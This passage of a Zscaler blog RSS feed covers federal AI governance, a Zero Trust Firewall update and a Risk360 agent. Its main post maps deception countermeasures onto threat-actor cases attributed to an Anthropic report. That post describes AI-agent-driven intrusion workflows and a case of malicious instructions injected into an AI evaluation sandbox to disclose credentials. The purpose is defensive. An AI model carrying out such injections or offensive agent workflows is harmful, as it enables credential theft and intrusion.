responses grounded in authoritative sources.A&nbsp;regulatory agency may want to use AI to assist with inspections, investigations, or compliance reviews, while protecting sensitive regulated-entity information and avoiding unsupported conclusions.A&nbsp;grants-making agency may want to improve application processing, but must protect applicant data, procurement-sensitive information, and pre-decisional materials.A&nbsp;citizen services agency may want to deploy a public-facing AI assistant, but needs to ensure the assistant provides accurate information, avoids unauthorized determinations, and escalates to a human when appropriate.A&nbsp;software development organization may want to use AI coding assistants to accelerate modernization, while preventing source code leakage, secrets exposure, and unapproved model use.A&nbsp;security operations team may want to use AI to improve triage, detection, and response, while maintaining human oversight and protecting sensitive incident data.These are the kinds of use cases where AI security, Zero Trust, and governance need to work in concert. A practical path forwardA good starting point is visibility.Federal Civilian agencies can begin by identifying the AI already in use across public GenAI, embedded AI, desktop tools, developer environments, cloud services, models, agents, and AI-enabled applications.From there, agencies can map AI usage to data sensitivity and mission risk. This means understanding where AI interactions involve sensitive mission data, including PII, CUI, source code, benefits data, health data, financial data, law enforcement data, regulatory data, or procurement-sensitive information.Once agencies understand the risk, they can enforce acceptable-use and data protection policies. This may include access controls, DLP, browser isolation, prompt inspection, response inspection, and user coaching.For agency-built AI applications, agencies should apply guardrails, proxy or API-based inspection, and red teaming before deployment. After deployment, they should continuously monitor usage, policy violations, data exposure attempts, red team findings, model behavior, and emerging AI assets.Finally, agencies need to report what they learn to governance stakeholders, including the CAIO, AI Governance Board, CIO, CISO, privacy, legal, data, acquisition, and mission leaders.This approach supports the intent of M-25-21: move faster with AI while maintaining governance and public trust. Where this leaves usAI is becoming part of how Federal Civilian agencies deliver their missions.But responsible adoption requires more than enthusiasm and policy statements. Agencies need visibility, data protection, security controls, testing, monitoring, and governance evidence.M-25-21 sets the direction: accelerate AI adoption, remove barriers, establish governance, manage risk, and preserve public trust.Zscaler helps agencies put that direction into practice by extending Zero Trust into AI interactions. This means helping agencies discover AI use across the enterprise, reduce shadow AI risk, protect sensitive government data, enable approved GenAI tools, govern embedded AI in SaaS, secure developer use of AI, identify AI assets in cloud environments, protect agency-built AI applications and agents, red team AI systems before deployment, apply guardrails for prompts and responses, monitor AI usage continuously, and provide evidence to AI governance stakeholders.The goal is AI adoption with the visibility, control, and governance needed to manage risk in real time, at mission speed.To learn more about how Zscaler extends Zero Trust to AI for Federal Civilian agencies, reach out to your Zscaler account team for a detailed overview of our AI Security capabilities.Read the full series: Part 1: M-25-21 Changes the AI Conversation | Part 2: A Practical Framework for Secure AI Adoption]]></description>
            <dc:creator>Jose Arvelo Negron (Manager, Sales Engineer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Countermeasures for AI-Enabled Attacks Start with Deception]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/countermeasures-ai-enabled-attacks-start-deception</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/countermeasures-ai-enabled-attacks-start-deception</guid>
            <pubDate>Tue, 15 Sep 2026 20:40:52 GMT</pubDate>
            <description><![CDATA[Anthropic’s September 2026 threat intelligence report provides one of the clearest public views to date into how threat actors are using frontier AI systems across real cyber operations. Not surprisingly, the attacks rely on familiar weaknesses – stolen credentials, exposed applications, vulnerable services, insecure code, SaaS abuse, cloud misconfigurations, and poor secret hygiene.So if attack tactics haven’t changed with AI, what has? The speed, scale, and economics of execution.Anthropic is stressing the improvements in adversarial speed and economics – something we raised the alarm on in Nov 2025 when everyone else was focused on AI’s ability to exploit at scale.“Many commentators focus on the risk of AI developing exploits at scale. While this is a danger, the risk from AI adoption is more pronounced across the cyber kill chain, where adversaries can operate faster, across a broader and deeper surface area, with fewer resources.”&nbsp;– Detecting and countering misuse of AI: September 2026, AnthropicAI allows attackers to automate reconnaissance, credential validation, exploit development, phishing infrastructure, post-compromise enumeration, and data processing. Those capabilities compress the time defenders have to detect and respond. Controls that were acceptable when attackers moved at human speed will not be sufficient when attackers operate with agentic workflows, persistent memory, and parallel task execution.But that same automation creates an advantage for defenders.AI-enabled attackers depend on discovery. They enumerate exposed assets. They classify systems. They validate credentials. They test access paths. They search for sensitive data, privileged accounts, internal applications, cloud resources, repositories, and AI infrastructure. In other words, they interact with the environment to decide where to go next.Deception exploits that dependency. That is why deception is especially relevant in the age of agentic attacks and why the Cloud Security Alliance has consistently cited deploying deception as a key priority response to AI attacks. The more automated the attacker becomes, the more opportunities defenders have to misdirect, observe, and contain them before real systems are impacted.At its core, deception is a capability, not a product. This post looks at five of Anthropic’s cyber operation case studies where deception can serve as a primary early-detection and containment mechanism. The goal is to show how defenders can use decoys, honeytokens, synthetic assets, and canaries to turn attacker discovery into detection.&nbsp; GTG-20006 / Midnight Blizzard — Russian EspionageGTG-20006 is a Russian state-linked espionage actor whose attribution is consistent with public reporting on Midnight Blizzard. This entity has been targeting Ukrainian, European, diplomatic, defense, and foreign-policy organizations.How AI was usedAI was used to automate operations, notably in the following areas:Develop and maintain malwareAcquire and configure infrastructureResearch and register phishing domainsSend phishing emailsMonitor C2 channelsManage compromised accountsSupport persistence and exfiltrationProcess stolen dataRebuild malware when security products detected itAI UpliftSpeed: Faster phishing, infrastructure setup, and malware modificationScale: More victims and campaigns handled in parallelDepth: Better post-compromise processing and data organizationResilience: Faster evasion when defenders created detectionsDeception as countermeasure for GTG-20006&nbsp;Attack stepType of Deception for each applicable stepWhy Deception will be effectivePhishing domain and lure testingDecoy login portals (M365/vendor portals available via custom clone)If the actor tests phishing flows against decoy users or decoy portals, defenders get early evidence of campaign preparation.Credential harvestingDecoy browser credentials, decoy VPN credentials, decoy M365 credentials and SSO-recovery credential files (via credential-file decoy)No legitimate workflow should use these credentials. Any attempted use is high-confidence evidence of credential theft.Browser password theftEndpoint-planted decoy credentials in browser storesInfostealers will collect decoy credentials along with real ones. Use of those credentials reveals the compromised endpoint or user.Malware delivery and stagingDecoy endpoints, decoy update servers, decoy software-distribution portalsMalware or scripted access to decoy infrastructure provides behavior-based detection independent of signatures.Lateral movementDecoy admin credentials, decoy RDP/SSH/VPN paths, decoy internal bookmarksAttackers following stolen credentials or bookmarks are redirected into instrumented systems.SaaS and cloud data harvestingDecoy SaaS login portals, decoy cloud buckets, planted SaaS credentialsAttackers using stolen tokens to discover data will touch decoy high-value locations, creating early alerts.Hotel Wi-Fi or vendor compromiseDecoy vendor-management portals, decoy Wi-Fi admin consoles, decoy hospitality systemsAttackers abusing hospitality infrastructure can be detected when they interact with convincing decoy management surfaces.&nbsp; GTG-50014 — ShinyHunters-Style Smash-and-Grab Data TheftGTG-50014 is described as financially motivated activity associated with ShinyHunters-like operators.Anthropic identified an opportunistic data-theft and extortion pattern. The threat actor searched for exposed credentials, API keys, SaaS tokens, GitHub tokens, cloud credentials, container secrets, and mobile app secrets.Targets included technology providers, airlines, energy companies, nonprofits, retail chains, web3 platforms, SaaS providers, GitHub repos, containers, and Internet-facing APIs.How AI was usedAI helped the actor move quickly across many unrelated environments.Instead of manually understanding every mobile app, API, SaaS product, or cloud service, the threat actor could use AI to:Analyze decompiled mobile appsClassify discovered secretsUnderstand APIsGenerate validation workflowsSummarize stolen datasetsWrite scripts for harvesting and exfiltrationOrganize credentials by source typeSupport extortion preparationAI UpliftScale and speed. The attack techniques were not novel. The novelty was that AI made mass opportunistic exploitation easier and faster.Deception as countermeasure for GTG-50014&nbsp;Attack stepType of Deception for each applicable stepWhy Deception will be effectivePublic repo scanningDecoy cloud keys (IAM/ECR/SA) and tokens planted on endpoints and in the customer's cloudSecret scanners will find and validate the decoys. Any use of those tokens is high-confidence malicious activity.API key validationDecoy cloud keys (AWS IAM/ECR, Azure, GCP SA) planted on endpoints&nbsp;Secret validation is a strong attacker behavior. Decoy keys convert validation into immediate detection.Cloud storage discoveryDecoy S3 buckets, Azure Blob containers and GCS pathsAttackers searching for exposed data will browse fake stores, giving defenders visibility into data-theft intent.SaaS compromiseDecoy Salesforce, ServiceNow, or SharePoint credentialsIf stolen SaaS credentials are tested, the decoy login attempt becomes a high-confidence alert.Downstream customer data theftSynthetic customer records, decoy CRM exports, beaconed decoy documents (HTML/Office)&nbsp;Attackers exfiltrating or opening fake customer data reveal themselves without exposing real customers.Data stagingDecoy database decoys (MariaDB/Mongo/Postgres) and beaconed decoy documentsWhen stolen-looking data is opened, moved, or uploaded, defenders get telemetry on attacker infrastructure.Extortion preparationDecoy documents (HTML/Office)Deception helps determine whether stolen data was accessed, staged, or prepared for publication.&nbsp; GTG-10007 — Exploit Foundries and Autonomous Attack FrameworksGTG-10007 is a sustained espionage operation by Chinese-speaking operators likely based in Changsha, Hunan.This case is important because it shows the concept of an AI-enabled exploit foundry.The threat actor used AI-first workflows to conduct intrusion attempts, recon foreign-government networks, reverse engineer security products, analyze firmware and binaries, develop and test exploits, maintain malware, build intelligence-collection infrastructure, and run parallel workstreams with persistent campaign memory.Targets included 50 organizations across retail, education, energy, tech, healthcare, finance, manufacturing, and government agencies.The threat actor compromised an education-technology company and extracted student data, accessed a retail company’s production systems, and retrieved citizen records from a Southeast Asian government agency.&nbsp;A major part of the operation involved autonomous vulnerability research against network appliances and security products. The report says one workflow produced more than a dozen possible zero-day findings in a single month.How AI was usedThe threat actor used AI to:Build a fleet of agent swarmsRun parallel subagentsBuild persistent campaign memoryAutomate firmware analysisCreate decompiler workflowsGenerate vulnerability hypotheses and exploit-code&nbsp;Perform lab testing and iterationSchedule intelligence collectionAI UpliftFaster vulnerability discovery and exploit iterationMultiple workstreams running in parallelAbility to inspect code paths, binaries, and firmware at volumeAbility for campaign memory stored targets, credentials, state, and instructionsThis sort of attack class is where Deception is particularly valuable, because defenders likely do not know the exploit in advance. Deception detects attacker interaction and intent, regardless of whether the CVEs, malware, or signatures are known.Deception as countermeasure for GTG-10007&nbsp;Attack stepType of Deception for each applicable stepWhy Deception will be effectiveInternet-facing reconnaissanceDecoy VPN portals, appliance banners, admin consoles and identity portalsAutonomous recon agents will enumerate and interact with exposed-looking decoys, creating early detection.Appliance targetingDecoy security-appliance interfaces, firmware download portals and management APIsExploit researchers looking for appliance weaknesses may spend effort on instrumented fake assets.Version fingerprintingDecoy banners, vulnerable version strings and headersAI scanners rely on classification. Fake fingerprints can attract scanning and reveal targeting logic.Exploit testingHigh-interaction decoys that safely accept probes and payload attemptsNovel exploit attempts can be captured without needing prior signatures.Post-exploitation enumerationDecoy internal hosts, shares, AD objects and service accountsOnce inside, attackers often enumerate. Decoys turn enumeration into high-confidence detection.Credential reuseDecoy SSH keys, admin passwords, kubeconfigs, and API tokensCredential reuse against decoys reveals compromise before real privileged assets are reached.Lateral movementDecoy jump hosts, RDP systems, and database serversAttackers following internal paths are diverted into monitored infrastructure.Collection infrastructureDecoy document repositories, policy files, and defense-related contentIntelligence collectors may harvest synthetic material, exposing automated collection behavior.Malware testingDecoy endpoints and EDR/security-tool artifactsMalware or exploit tooling interacting with decoy endpoints gives behavior-based signals.Target prioritizationDecoy crown-jewel systems, admin paths and sensitive labelsAI agents prioritize attractive assets. Deception uses that prioritization against the attacker.&nbsp; GTG-50020 — From Hotel Bookings to the AI Supply ChainGTG-50020 is a Russian-speaking, financially motivated threat actor.The threat actor historically targeted hotel booking and fintech platforms, then pivoted toward AI vendors and AI supply-chain targets.The actor attempted to access a pre-release Claude model but did not succeed.Targets included hotel booking platforms, fintech platforms, AI companies, AI vendors, AI evaluation sandboxes, production AI API keys, KYC and identity-verification systems, and exchange and marketplace systems.One key attack involved injecting malicious instructions into an AI vendor’s automated evaluation sandbox. This caused credential disclosure. The actor then abused stolen production AI API keys from multiple providers.The actor also attacked about 30 AI companies in four days.How AI was usedAI was used in two ways:Targeted AI infrastructure directly by attacking AI evaluation workflows and stealing production AI API keys.Used AI-assisted offensive workflows to run reconnaissance and exploitation at scale.The AI tooling used by the threat actor constituted parallel reconnaissance agents, exploitation agents, target-specific scope files, automated finding retesting, containerized pentest tooling, local model gateways, and worker agents operating with limited human supervision.AI UpliftFaster web-app testingMore parallel attacksBetter target-specific exploitationRapid pivoting across many AI companiesAbuse of stolen AI keys for further operationsDeception as countermeasure for GTG-50020&nbsp;Attack stepType of Deception for each applicable stepWhy Deception will be effectiveAI vendor reconnaissanceDecoy AI company assets, model registry entries and documentation portalsAttackers scanning AI companies may interact with fake high-value AI assets first.API key theftDecoy AI-provider / LLM-gateway keys (via cloud gen-ai decoy + credential files and decoy cloud keys)Stolen-key validation creates immediate high-confidence detection.AI evaluation abuseDecoy evaluation jobs, benchmark datasets and pre-release model referencesAttackers seeking sensitive model access can be diverted into monitored workflows.Web-app exploitationDecoy web apps with fake SSRF, XSS, and auth-bypass surfacesAutomated exploitation agents will probe decoys, revealing attack behavior.SSRF testingDecoy metadata endpoints and internal service URLsSSRF attempts against decoys expose exploitation attempts without risking real infrastructure.KYC workflow abuseDecoy KYC admin portals, identity-verification records and synthetic applicant dataAttackers targeting fraud or identity workflows can be detected before real records are abused.Fraud account creationDecoy onboarding flows and synthetic high-risk accountsAutomated account factories can be identified through interaction with controlled flows.AI supply-chain compromiseFake CI/CD secretsAttackers looking for AI pipeline access will validate decoys and reveal compromise paths.Extortion preparationBeaconed decoy documents (HTML/Office)Shows whether attackers reached data-theft or extortion stages while protecting real data.&nbsp; GTG-50029 — Hacktivists Targeting European Political EntitiesGTG-50029 was a politically motivated French-speaking hacktivist operation.They have targeted European political parties, media organizations, think tanks, SaaS providers, campaign-management platforms, political affiliates, readers and editorial staff.The actor used stolen API keys and AI-assisted tooling to scale attacks.Techniques used included public-container API key theft, custom Rust scanner for exposed keys, API key rotation through proxies, WordPress exploitation, admin account creation, webshell deployment, credential-harvesting, backup poisoning, browser C2 against a media site, credential interception, and Tor leak-site staging.The actor gained internal access to at least 14 of 42 tracked entities. The operation exfiltrated political, donor, member, student, mailbox, and payment-provider data.How AI was usedAI was primarily used to build and debug offensive tooling. The threat actors used AI to:&nbsp;&nbsp;Develop a WordPress exploitBuild a lab harnessDebug codeManage reconnaissanceReview codeValidate findingsBuild a doxxing/search platformCreate ingestion pipelinesNormalize and rank dataContainerize deploymentAI UpliftFaster exploit developmentFaster weaponization of public-facing web systemsBetter data processing for doxxingAbility for a single actor to run a campaign that looked more like a team effortDeception as countermeasure for GTG-50029&nbsp;Attack stepType of Deception for each applicable stepWhy Deception will be effectivePublic-container scanningDecoy cloud keys/tokens planted on endpoints and in the customer's cloudScanners will harvest decoys. Validation attempts reveal attacker infrastructure.API key rotationHoneytokens tied to monitored API endpointsEven if attackers rotate keys through proxies, decoy-key use remains abnormal and high-confidence.CMS targetingDecoy WordPress/CMS instances, plugin directories and admin panelsHacktivists looking for exposed CMS weaknesses can be pulled into monitored systems.WordPress exploitationDecoy vulnerable CMS versions and instrumented login/reinstall flowsExploit attempts against decoys can be captured before real sites are affected.Rogue admin creationDecoy admin accounts&nbsp;Unauthorized admin creation is a strong signal of compromise.Webshell deploymentDecoy upload directories and writable plugin/theme pathsWebshell upload attempts against decoys reveal active exploitation.Credential-harvesting plugin deploymentDecoy CMS users and admin credentialsThe attacker’s harvesting tooling collects credentials that lead only to monitored assets.Backup poisoningDecoy backup archives and restoration pathsAttempts to alter decoy backups reveal persistence behavior.Doxxing data aggregationSynthetic donor lists, member records and political-affiliation dataProtects real users while revealing data-theft and publication intent.Leak-site stagingBeaconed decoy documents (HTML/Office)If staged or opened, defenders gain telemetry about attacker infrastructure and timing.As is evident from the five threat actors, AI-enabled attackers are automating the discovery of users, credentials, applications, APIs, cloud data, and exposed services. Deception gives defenders a way to pre-position false but believable assets in those discovery paths. When attackers or their AI agents touch those assets, you get early, high-confidence alerts before real systems are damaged.&nbsp; Recommended Deception control categories mapped to threat actorsTo consolidate what type of deception works best in different situations, we’ve mapped them to the threat actors documented in Anthropic’s report.Deception typeExamplesBest-fit attacksIdentity deceptionDecoy users, admin accounts, SSO credentials and OAuth tokensGTG-20006, GTG-50020, GTG-50029Endpoint deceptionDecoy browser passwords, SSH keys and credential filesGTG-20006, GTG-50014, GTG-50021Developer deceptionDecoy GitHub PATs, CI/CD secrets, cloud keys and package tokens on internal endpoints/cloudGTG-50014, GTG-50020, GTG-50029SaaS deceptionDecoy Salesforce / ServiceNow / SharePoint login portals + planted SaaS credentialsGTG-20006, GTG-50014, GTG-50029Cloud deceptionDecoy S3 buckets, database strings, IAM users and cloud consolesGTG-50014, GTG-50020Network deceptionDecoy VPNs, RDP/SSH hosts, databases and file sharesGTG-10007, GTG-20006Web-app deceptionDecoy CMS, admin panels and SSRF/XSS surfacesGTG-50020, GTG-50029AI-stack deceptionDecoy AI API keys, LLM gateways and MCPGTG-50020, GTG-50021, GTG-50014Data deceptionSynthetic customer records, decoy donor lists, beaconed decoy documents (HTML/Office)GTG-20006, GTG-50014, GTG-50029Note: We’ve included GTG-50021 and GTG-30005 in the table above as secondary or specialized deception opportunities, but these attacks are not discussed in this analysis because deception is not the primary front-line control for those scenarios.For the attacks described in Anthropic’s report, deception is not a replacement for patching, identity hardening, ZTNA, DLP, SaaS control, or threat prevention. It is a preemptive detection layer that changes the attacker’s operating environment. By placing decoy credentials, applications, APIs, data, and services in the paths that AI agents are likely to enumerate, you can increase attacker uncertainty, pollute automated decision-making, and generate high-confidence alerts before real systems are damaged.Learn more about Zscaler Deception&nbsp;here.&nbsp;If you’re already a Zscaler customer and would like to deploy Zscaler Deception, please reach out to your account manager.]]></description>
            <dc:creator>Amir Moin (Principal Product Manager)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Enhancing Application and Threat Detection in Zero Trust Firewall]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/enhancing-application-and-threat-detection-zero-trust-firewall</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/enhancing-application-and-threat-detection-zero-trust-firewall</guid>
            <pubDate>Tue, 15 Sep 2026 16:02:25 GMT</pubDate>
            <description><![CDATA[Modern enterprises don’t run on a defined perimeter anymore. Users connect from everywhere, applications live across SaaS and public cloud, and attackers ever increasingly hide in encrypted traffic. In this environment, security teams need more than “IP + port” controls—they need&nbsp;application-aware enforcement&nbsp;and&nbsp;always-on threat inspection&nbsp;that follows users and traffic wherever it goes.Zscaler Zero Trust Firewall&nbsp;is designed for exactly that: cloud-delivered protection for&nbsp;web and non-web traffic, centralized policy, and deep visibility—without the operational drag of appliance sprawl. Two new capabilities that significantly improve this security outcomes are:Custom Application Service Groups (Custom App Services)&nbsp;for precise, reusable application/service controlsCustom IPS Signature Rules (Cloud Custom IPS)&nbsp;for organization-specific threat detections enforced through IPS ControlThis post focuses on what they do, why they matter, and how customers can put them into practice quickly.Why application and threat detection needs a zero trust approachLegacy firewalls were built for a world where:applications stayed in the data center,“Inside the perimeter” was trusted,and deep inspection (especially SSL/TLS) was optional.Today, that model breaks down:SSL/TLS is the default, and turning on TLS inspection at scale can be painful in appliance architectures.Attackers don’t just attack servers—they target&nbsp;users, endpoints, and “normal” protocols.Policy sprawl grows fast when you try to emulate zero trust through endless network segments and distributed rulebases.A&nbsp;Zero Trust Firewall&nbsp;addresses these challenges by enforcing in the cloud and adding richer context for decisions such as identity, application/service constructs, and integrated IPS.What Zero Trust Firewall (ZTFW) deliversCustomer outcomes typically map to three capabilities:Consistent protection everywhere: The same security posture for users at HQ, branches, and remote.Better precision than “network-only” controls: Policies can incorporate user context and (where licensed) process-level awareness via Endpoint App Control.Inline inspection + visibility: Built-in security services (including IPS) and centralized logging/insights so security teams can investigate and respond faster.That foundation is what makes Custom App Services and Custom IPS signatures so impactful: they become building blocks you can reuse and scale across your environment. Custom Application Service Groups: enforce policy on application services, not just IPsApplication Service Groups&nbsp;are policy objects you can use as criteria in&nbsp;Firewall Filtering and Forwarding&nbsp;rules. They’re defined using service metadata such as:IP addresses (single IP, subnet, or range)FQDNs and wildcard FQDNs (e.g.,&nbsp;*.example.com)TCP/UDP destination portsZscaler provides both:Predefined application service groups (AU / “Authoritative”): These are application&nbsp;service groups for popular SaaS and cloud providers based on their metadata; broadly applicable; updated over time.Custom application service groups (CU)&nbsp;: Created by&nbsp;you, in your tenant, for&nbsp;your&nbsp;specific service definitions and policy needs.&nbsp;Predefined Application Service GroupsZscaler maintains and updates a list of predefined application services based on information published by the respective providers. These predefined services help customers:Reduce operational overhead: less manual IP-list maintenance as providers evolve.Write cleaner firewall policy: rules read like business intent (“Allow Microsoft 365”) rather than brittle networking trivia.Improve accuracy: service identification is built to reflect provider-published metadata. Zscaler also continuously updates provider-published metadata for many predefined groups, reducing the effort of tracking SaaS IP changes over time. Custom Application Service Groups: add flexibility when predefined isn’t enoughPredefined services are intentionally generalized and provider-driven. But real customer environments often need something more specific, such as:a privately hosted API with known FQDNs and portsa partner integration endpoint seta SaaS app that isn’t in the predefined cataloga subset of destinations within a larger provider footprintThat’s where&nbsp;Custom Application Service Groups&nbsp;come in.A custom application service group can be built using combinations of:IP addresses&nbsp;(single IP / subnet / range)FQDN / wildcard FQDN&nbsp;(e.g.,&nbsp;api.example.com&nbsp;or&nbsp;*.example.com)TCP/UDP destination portsThis gives you&nbsp;service-aware control for apps that are unique to your business, not just what’s common among all customers.Where custom services deliver the most valueModel your own apps like “first-class services” in firewall policy:&nbsp;Instead of falling back to generic destination IP groups and ports.Limit a large, predefined service footprint to only what you intend:&nbsp;Example: define a custom group representing only a narrow set of AWS-hosted endpoints your engineering org should reach.Create reusable objects:&nbsp;Use the same custom service group across Firewall Filtering, Forwarding rules, and (where applicable) IPS control targeting.Custom Application Service Groups help you:Reduce rule fragility: Instead of chasing shifting IPs and endpoints, define the service once and reuse it.Improve least privilege: Narrow access to&nbsp;exactly&nbsp;the destinations and ports that matter.Simplify operations: Build cleaner policies using reusable objects rather than repeating the same destinations in many rules.A key advantage: first-packet identificationA key benefit of application service groups is they can be used to identify applications&nbsp;on the first packet, which can allow policy action to apply immediately. Operationally, this also influences rule design: application service-based policies often belong higher in a higher priority rule than similar “network application” rules to ensure deterministic matching.Example use cases:Tight SaaS allowlisting: Allow Microsoft 365 or Zoom-related service traffic only for intended users and conditions.Controlled cloud access: Allow AWS/GCP service traffic, but only for specific departments (and ideally with multiple conditions).Partner/API segmentation: Create a custom service group for partner API hosts and required ports, then enforce strict allow + logging. IPS Control&nbsp; with Cloud Custom IPS: always-on threat prevention, inlineEven the “right” application traffic can carry threats. That’s why Zero Trust Firewall pairs application control with inline intrusion prevention.IPS Control&nbsp;in ZIA provides signature-based detection across&nbsp;web and non-web traffic&nbsp;(including HTTP/HTTPS/FTP/DNS/TCP/UDP and IP-based traffic) and supports granular policy conditions such as users/groups/departments/locations and more. It also supports actions such as:AllowBlock/DropBlock/ResetBypass IPSDefault threat signatures vs. Custom IPS signatures (what’s included vs. what you add)IPS Control policies can be configured to enforce signatures from two sources:Signatures available with IPS Control by default:&nbsp;Zscaler’s IPS Control uses IPS signature rules&nbsp;built and updated by Zscaler’s security research team (ThreatLabz), as well as&nbsp;signatures from industry-leading vendors. These signatures provide broad baseline coverage and are maintained by Zscaler.Custom IPS Signature Rules (customer-defined):&nbsp;In addition to the default signatures, you can&nbsp;create and deploy custom IPS signatures&nbsp;that are specific to your organization’s requirements&nbsp;without requiring any additional infrastructure, and inspect your traffic using these signatures. These custom signatures are authored by your team and remain specific to your tenant.In either scenario, with Zscaler Cloud IPS Control, you no longer have to hairpin the traffic back to the DC via VPNs. Instead, the traffic can go directly to the cloud, no matter where the user, device, or workload is globally. Custom IPS Signature Rules: tailor threat detection to your environmentCustom IPS Signature Rules&nbsp;let your security team define organization-specific detections using&nbsp;Snort-like syntax, deploy them in the Zscaler cloud (no additional infrastructure), and enforce them through&nbsp;IPS Control&nbsp;via an assigned&nbsp;Threat Category. Additionally, the signature only stays in your tenant, enabling you to comply with TLP:amber/red guidelines.This is especially valuable when:You have a&nbsp;unique internal application&nbsp;or API surfaceYou receive new threat intel and want to&nbsp;respond independent of Zscaler's ThreatLabz.You need&nbsp;custom detections for compliance&nbsp;or for telemetry/signals into your SOC via Zscaler logging. Quick example: why you’d use a custom signature even when defaults existScenario:&nbsp;Your SecOps team receives threat intel about a pattern targeting&nbsp;your&nbsp;environment. That pattern may not exist in the default global signature set (yet), and you can’t wait for a broader industry signature release cycle.What you do:Keep&nbsp;default IPS signatures&nbsp;enabled (so you retain broad protection immediately).Create a&nbsp;Custom IPS signature&nbsp;that matches the environment-specific pattern.Assign it to a threat category and enforce it via an&nbsp;IPS Control&nbsp;rule scoped to the relevant users/locations/services (for example, the Application Service Group representing that app/service).Choose the IPS Control action (e.g., block/drop for high-confidence attempts) and activate the policy.Outcome:&nbsp;You get the best of both:continuously updated default coverage&nbsp;from Zscaler, andfast, precise, tenant-specific detection&nbsp;when your environment needs something unique—without deploying additional IPS infrastructure.In practice: write signatures that are&nbsp;specific,&nbsp;testable, and&nbsp;scoped&nbsp;(then monitor hits and adjust). ConclusionA Zero Trust Firewall isn’t just “a firewall in the cloud.” The real advantage comes from&nbsp;higher-fidelity policy objects&nbsp;and&nbsp;embedded threat prevention&nbsp;that move at the speed of modern environments.Custom Application Service Groups&nbsp;reduce policy fragility and increase enforcement precision by modeling services the way the business uses them.Custom IPS Signature Rules&nbsp;close detection gaps by letting you encode organization-specific threat intelligence and enforce it through IPS Control—without deploying separate IPS infrastructure.Together, they turn firewall policy from a static ruleset into a living control plane for application-aware access and threat detection in a zero trust architecture.&nbsp;Join an upcoming hands-on Zero Trust Firewall workshop where Zscaler experts walk you through building real policies for non-web traffic including IPS rules, DNS controls, and application-aware enforcement in a live, interactive environment.Reserve your spotSeats are limited and sessions fill quickly so register early.]]></description>
            <dc:creator>Siddhartha Aggarwal (Staff Technical Product Specialist - Firewall)</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Latest in Risk360: Agentic AI and Integration Support]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/latest-risk360-agentic-ai-and-integration-support</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/latest-risk360-agentic-ai-and-integration-support</guid>
            <pubDate>Tue, 15 Sep 2026 12:15:07 GMT</pubDate>
            <description><![CDATA[Security and risk teams are under pressure to do more than just identify issues—they need to understand what matters most, explain business impact clearly, and act more quickly across a growing set of tools and stakeholders. That’s the challenge&nbsp;Risk360 is built to solve. By helping organizations quantify cyber risk, prioritize remediation, and communicate posture in business-relevant terms, Risk360 gives customers a clearer view of where they stand and what they should do next.As part of this mission, Zscaler now has two new ways to help customers get even more value from Risk360: a Risk360 agent and support for Risk360 in&nbsp;OneAPI.The Risk360 AgentAs security environments become more complex, admins need more than dashboards and static workflows. They need a faster, more intuitive way to investigate issues, understand what is driving risk, make the best choices possible, and take the next right action. That’s where agentic AI can make a real difference. It can reduce the time it takes to navigate tools, interpret data, and translate technical findings into decisions that the business can act on.&nbsp;Zscaler’s new Risk360 agent brings the above benefits to risk analysis for each customer’s Zscaler environment. It helps admins quickly understand their overall risk posture, identify the most important issues that need to be addressed, and assess the financial exposure tied to those risks. Through natural-language interactions, customers can drill into specific categories and risk factors, investigate what is driving change, and uncover root causes. The result is faster analysis, more confident prioritization, and clearer communication with executives, compliance teams, and other stakeholders.The Risk360 agent is part of Zero Trust Exchange Agentic Operations, which enables agentic AI to manage Zscaler—whether that’s the Zscaler platform’s built-in agent (ZAgent) or, in the near-term future, third-party AI agents. Either way, the service allows agentic AI to leverage specialized product agents so that customers can interact with Zscaler services in a more cohesive, streamlined, and intelligent fashion. In other words, Risk360 can now be managed alongside other Zscaler solutions in a single conversational chat with an AI agent.Risk360 OneAPI SupportCustomers need the data from their security solutions to work beyond the boundaries of each individual tool. As such, application programming interfaces (APIs) are essential. They enable practitioners to integrate insights from their solutions into other tools for broader operational, reporting, and partner workflows—without relying on manual exports or disconnected processes.With Risk360 support now available for OneAPI, customers can leverage the same unified API endpoint that is used across the rest of the Zscaler platform for Risk360. Conceptually, this makes it easier to bring Risk360 into the systems and processes you already have in place. Practically, it supports workflows such as pulling historical risk scores and peer comparisons into internal dashboards, retrieving risk factor and financial exposure data for analysis, and automating report generation and access for downstream use. It creates a cleaner path for integration with GRC tools, SIEM workflows, service providers, and cyber insurance ecosystems that depend on timely risk data.By extending Risk360 through OneAPI, we’re helping customers turn risk insights into action far more efficiently—whether that means building custom workflows, feeding external systems, or scaling automation across teams.Wrap-UpTo learn more about our in-product AI experience and how it connects users to specialized product agents, read our&nbsp;ZAgent blog. To explore how OneAPI helps customers automate and integrate across the Zero Trust Exchange, visit our&nbsp;OneAPI webpage.]]></description>
            <dc:creator>Jacob Serpa (Sr. Product Marketing Manager)</dc:creator>
        </item>
        <item>
            <title><![CDATA[What&#039;s New in ZDX: Broader Reach, Smarter Remediation]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-zdx-broader-reach-smarter-remediation</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-zdx-broader-reach-smarter-remediation</guid>
            <pubDate>Mon, 14 Sep 2026 14:24:36 GMT</pubDate>
            <description><![CDATA[ZDX is the experience layer of the Zscaler SASE platform. It shares the same client connector, the same data plane, and the same global infrastructure that powers ZIA and ZPA. That means every improvement to digital experience monitoring simultaneously strengthens the security and networking fabric customers already rely on.This summer, based on what we're hearing from customers operating large-scale SASE deployments, we shipped two capabilities that make the platform even more valuable for customers. Here's what landed and why it matters. Remediation Scripts: Now Available for ZDX Standard and AdvancedWhen dev tools don't pick up the ZIA root certificate from their expected path, developers hit SSL errors that block their workflow entirely. The common workaround today is to bypass those dev tools from ZIA SSL inspection. That gets developers back to work, but it punches a hole in the zero trust architecture. Traffic that should be inspected flows uninspected. The security posture the SASE platform is designed to enforce gets undermined at the endpoint level.Customers told us this was one of their most persistent friction points: a recurring tension between developer productivity and maintaining zero trust coverage. They needed a way to fix the root cause, not route around it.Pre-written, ready-to-use scripts that resolve the root cert path issue and restore zero trust postureWe've introduced 20 pre-written remediation scripts available to ZDX Standard and Advanced customers and will 